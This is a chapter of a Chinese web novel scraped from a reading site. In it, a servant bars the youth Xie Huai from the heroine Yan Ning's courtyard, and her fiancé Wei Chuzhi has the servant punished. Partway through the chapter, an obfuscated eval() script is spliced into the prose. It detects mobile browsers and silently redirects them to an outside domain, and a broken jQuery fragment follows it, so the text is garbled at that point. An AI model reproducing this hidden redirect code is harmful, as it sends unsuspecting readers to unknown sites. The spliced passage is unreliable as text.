默认冷灰
24号文字
方正启体

32. 受了委屈

作者:钰雯533本书字数:K更新时间:
    翌日,天刚微微亮,一道身影徘徊在清兰院附近,是小厮松篱奉命在此处蹲守,看到院门开了,他一个激灵跳起来就往回跑。


    他要回去传信,让魏郎君抓紧时间。


    闫凝收拾好着装时,刚看到手指出那包扎浮夸的造型,不免会心一笑,她近几天还真是愈发看那个小郎君顺心顺眼了起来。


    “你说人倒是奇怪,以前只觉得那怀郎君是个烦人精,相处下来才知道这人还挺有趣。”她陷入回忆时,唇畔笑意盎然。


    沁云拆包扎的手一顿,看着主子欢愉之色,试探地问:“那娘子这还换药吗?若等会儿怀郎君见到,免不得要耍小性子。”


    那人是个闹腾的,若知道她拆了,必然少不得生闷气,可是他生的好看,生起气来也别有一番滋味。


    闫凝看了看那整个臃肿手指,好笑地道:“你还怕他呀,拆了吧,闹腾也不过是哭丧个脸,顶多再跺两下脚,还能怎么着?”


    她揶揄之声提醒着,沁云细想一番,噗嗤一声笑出来,手上动作不断,麻利地给她上药换纱布包裹。


    恰逢此时,门外响起声音,有侍女和男子说话声断断续续传来。


    “怀郎君还真是积极,这么早就过来了。”沁云知道主子与他的约定,已经做足了给二人打下手的准备。


    两人一同出了门,直到看见站在院里的人是谁后,才收起喜色。


    一身月白翩跹玉公子摸样的魏楚之站在院中,半分不见昨夜疯魔状。


    “闫娘子手指如何了,昨夜是我唐突,这才早来给你送药。”魏楚之神色淡淡,见到人来,视线放在她低垂在侧,包扎完好的手上。


    他的脸上一怔,缓声轻语,与先前避之不及的样子简直判若两人。


    而他握手中的瓶子,递也不是,收也不是。


    闫凝敛了神采,笑意淡淡不达眼底,“郎君何必大费周章,你也是知道的,整个闫家都盼着你高中,还是快些回去,莫要再做旁的事情分神。”


    她这样子说,便是拒绝了他。


    魏楚之手中抡了抡药瓶,垂眸不知神情。


    闫凝是确实越发看不懂他要做什么,其实多少有被他昨夜举动吓到,再来有怀郎君陪伴在身边,两相对比,总是让人忍不住分出个高低。


    许是人都有的劣根性,以往她接触不到比魏楚之更为耀眼夺目的男子,就眼中只会认定他是世间最为顶顶好的男子。


    当视线所及之处,有了另一个人的身影,比眼前人不遑多让,又乖巧又贴心,简直是弥补了被人忽视的不甘,和次次热脸贴冷屁股的窘迫。


    闫凝虚了虚眼,心中的那根秤又向怀郎君偏了偏。


    她侧首示意侍女解决,转身不留恋地回屋子里。


    突然,门外有两道急切声大吵起来,拉扯住闫凝回房的脚步,“发生了什么事情,大早上的吵吵闹闹个不休。”


    闫凝蹙眉询问,有眼色的侍女已经从外打探回来,大惊失色地惊呼道:“娘子,有个小厮拦着小郎君不让进院。”


    她意有所指地觑了一眼通身寒意四散的魏处之,报一声后信忙提着裙摆溜走。


    闫凝的不悦几乎快要写在脸上,心里想着魏郎君好生威武,话也这般顺口说了出来。


    这话带着歧义,魏楚之神情巨变,自然听到侍女禀告,“我是带了小厮来,兴许是有误会,闫娘子不妨去看看,再做定夺也不迟。”


    他自诩清高孤傲,一而再再而三被她下了面子,心底大抵是不好过,那好意没送出去,他又重新揣回袖子里。


    “也好,我看谁还敢在我院子里做起主来了。”闫凝不知,一个小厮,还敢拦着旁人入她院子来了。


    几人刚走到院门附近,吵闹声清清楚楚的传到耳中。


    另一侧,谢怀闯入失败,气鼓鼓地双手环臂与松篱对峙,“你凭什么拦着我,我与闫姐姐有约的,放我进去!”


    “你进什么进,你一个无名无分的男子能留住闫家都是主子们心善,还敢随意闯入主家院子,你是吃了什么熊心豹子胆!”松篱双臂展开,拦着门不让他见缝插针窜过去。


    谢怀捏拳气恼,早知道就带淮竹来了,自己在闫家的话语权还没侍女大。


    不过,也不是毫无办法。


    他脚底碾着一块指头大的小石子,微垂着眼眸,悄声打量着眼前小厮,是先打脚腕看着自然,还是直接踢他的腿更解气一点。


    石头小又不显眼,脚尖微动,他借着说话的契机,正要有个大动作,听到不一样的脚步声。


    谢怀当下转了口风,故意问道:“你也不过是闫家下人,哪儿来的勇气挡着不让我进,你和我无冤无仇,我也没得罪过你,何必给我难堪呢?”


    松篱轻嗤,学着他双手抱臂,昂起头来神气得不得了,“我服侍的魏郎君是闫家娘子正儿八经的未婚夫婿,你算个什么东西,还想学我家郎君随意出入清兰院,也不掂量掂量自己的身份,别让人看了笑话。”


    “凝姐姐是我的救命恩人,她都没有明令禁止限制我的出入,你家郎君就是这样教你的待客之道?”谢怀佯装不懂,实则话里话外都在给他挖着坑。


    “你真是太高看自己,你这样的我没见过十个也有八个,仗着有些资色,就天天黏在闫娘子身边。”


    “魏郎君是个好脾气的,我今天就要守在这里,绝对不给你任何机会进入清兰院!”松篱近些时日打探谢怀的消息颇多,深知再这样下去兴许真会让他钻了漏洞。


    殊不知,他越是维护魏楚之,越是跳进谢怀给他挖的深坑中。


    谢怀脸色一白,反驳道:“你在胡说什么,我和姐姐清清白白,魏郎君这样的皎皎君子都没说什么,你偏要这般侮辱我,难不成你的这些话,实则都是魏郎君心中所想,这才派你拦着我的?”


    松篱不想他竟然这般巧舌如簧,气得睁着大眼,不欲跟他胡搅蛮缠,一摆手就想打发人,“你休要随便攀扯,我劝你还是赶快走吧,乘早歇了挑唆的心思。”


    他想的轻巧,谢怀怎可能让他得逞,“我可没攀扯,我今日来是有正事的,你若不放回去,我就要喊人了!”


    松篱见他软硬不吃,冷哼一声:“喊什么人,你一个外来的,除了会找闫娘子仗势,还有别的招数吗?”


    “我实话给你说了吧,闫娘子与魏郎君恩爱有加,我奉劝你赶紧是哪来的回哪去,别想着破坏主子们的关系!”


    “住口!”你个蠢货。


    一道厉声打断小厮的大放厥词,一行三个人从门后走出,观其难堪的脸色,想必已经在门后伫立听了许久。


    这一次,轮到松篱脸色变得苍白无力,他腿脚似乎被点了穴,一时间动弹不得,站在原处,且看主子们铁青的容颜,哆哆嗦嗦地吐不出来一个字。


    不过私下一想,心中仍然存着期盼。


    他说的没错,事实如此,闫娘子就算心有不满,也不可能为了一个外人惩罚他这样忠心耿耿的下人。


    思忖过后,松篱镇定下来,腿不抖了,背挺直了,脸色也红润了,又拿着那副高高在上的态度望向谢怀。


    魏楚之面色阴沉下来,起初听见两人对话他还有些蒙圈,可眼见松篱这个没脑子的,居然被对方牵着鼻子走,他不得不出面打断。


    谢怀见到他们出现,惊讶之色一览无余,随后打量起他们二人站在一起身姿,郎才女貌,天造地设。


    他兀自低垂下黑羽似的眼睫,变得闷闷不乐起来。


    “原来这小厮说的竟是真的,凝姐姐要真觉我耽误你和魏郎君相处,与我说便是,人家也不是非要来的。”他话说的委曲求全,眼带轻波隔空瞪了眼闫凝,转身就要走。


    闫凝自出现便一眼看到他气鼓鼓的样子,回想方才躲在门后听二人争吵,知道他受了委屈,恐怕这会儿心中憋了一肚子火气。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454156|166028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她面色不善,目光找寻罪魁祸首,要为他出了这口气。毕竟两人确实有约在先,这小厮借故生事,难保不是受人指使。


    “怀郎君且慢,你我既然约了做纸鸢,还没开始,怎先走了?”她话一出,就是在提醒在场人,怀郎君是受她所托才到清兰院。


    “凝姐姐,我可不敢多在清兰院待,免得被人误以为我居心叵测。”他低声言语,说罢还回望看一眼。


    顶着众人望来的视线,松篱挺直的脊背弯了下来已,尤其是对视上魏楚之表面平静无比,内里暗含凶意的眼神儿,他心虚地低下头。


    “方才我们已经听到事情缘由,这小厮自私越俎代庖,敢替主子做决定,魏郎君,不知你要作何解释?”闫凝不多废话,当即就要拿松篱开涮,势必要还怀郎君一个公道。


    魏楚之心中纵然有气,暗骂小厮是个没脑子的,可他身为松篱的主子,有些事还真被谢怀猜中了。


    今日这件事情被一众人听了个正着,他要不好好处理,势必要在闫凝心中落下一个不分好歹的名声。


    本来昨夜他就在清兰院没得到好处,还惹了一身腥。


    一早来道歉,受尽了冷脸,得不到一丁点宽慰不说,身边下人做出这些事情,难保闫凝心中已经有了怨怼。


    他看向松篱的视线冷又沉,心中已然盘算该如何推他出去挡刀。


    事实上,今日这事儿可大可小,但千不该万不该被人发现当场,这还真让人以为一切均是魏楚之示意下人所为,他浑身上下张满嘴都不一定能洗得清。


    松篱不曾想主子们真要处罚自己,他可是怕了魏楚之地手段,慌乱地扯着他的衣袖,哭丧着脸道:“主子,我是一片好心,您和娘子才是正儿八经的未婚夫妻,我这做得也没错不是。”


    “闭嘴,你私自擅作主张,这是清兰院,可不是你一个小厮能做主的地方,还不跪下给怀郎君道歉。”魏楚之扯开袖子,任由他跪在脚下,可心底却把这笔账算到怀郎君的头上。


    怎么说这松篱也是他的贴身小厮,多少要念些主仆之情,让他跪着向旁人叨扰,也是在隐性责辱他魏楚之的脸面。


    他纵横官场多年,鲜少有这般低声下气的时刻。


    暗自里,魏楚之阴毒的视线如银蛇至损,悄然无息缠绕在谢怀身上。


    想必只要给他一个机会,他必定会抓住时机,将人一击致命。


    他爽快又自然的命令,让闫凝忽然无从适应。想来几日前他还与人相处谦逊有礼,突然这样转变,气场也陡然一变,让人心生敬畏,活脱脱像换了个人一样。


    警惕心渐升,闫凝存心想试一试魏楚之,故意挑拨道:“魏郎君可是知晓的,我虽不是那般严苛的性格,但今日你这下人属实过分,我看不如直接赏他十个板子,发卖了去。”


    魏楚之冷脸一顿,思索起这件事情的可行性,发觉利大于弊,还能间接化解他在闫凝心底的形象。


    “闫娘子说的极是,此人以下犯上,怀郎君纵然是个外来者,也算得上闫家贵客,他这次莽莽撞撞冲撞了客人,理应该罚,就是不知怀郎君可还解气?”魏楚之彬彬有礼地点了点头,全然没去看松篱现状。


    他一招借花献佛,不仅变相借闫凝的处罚,表明自身与松篱私自做主没有任何关系,还强行要让谢怀忍下这个闷亏。


    做得如此滴水不漏,没个几年官场上的浑水摸鱼,做不了这般行云流水。


    不愧是以后官场上的佞臣,这见风转舵的本领真是让人叹为观止。


    他给魏楚之设下的圈套,就这般被轻轻松松的化解。


    谢怀心下越气,面上越装的惶恐不安,他掠过一眼闫凝神情,当下决定应下这个哑巴亏。


    “什么解气不解气,魏郎君日后还是管好自己下属吧!”他分明是受了不公,却被魏楚之三言两语怼的哑口无言,无奈地撇过头,受气包似的抹着眼泪。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)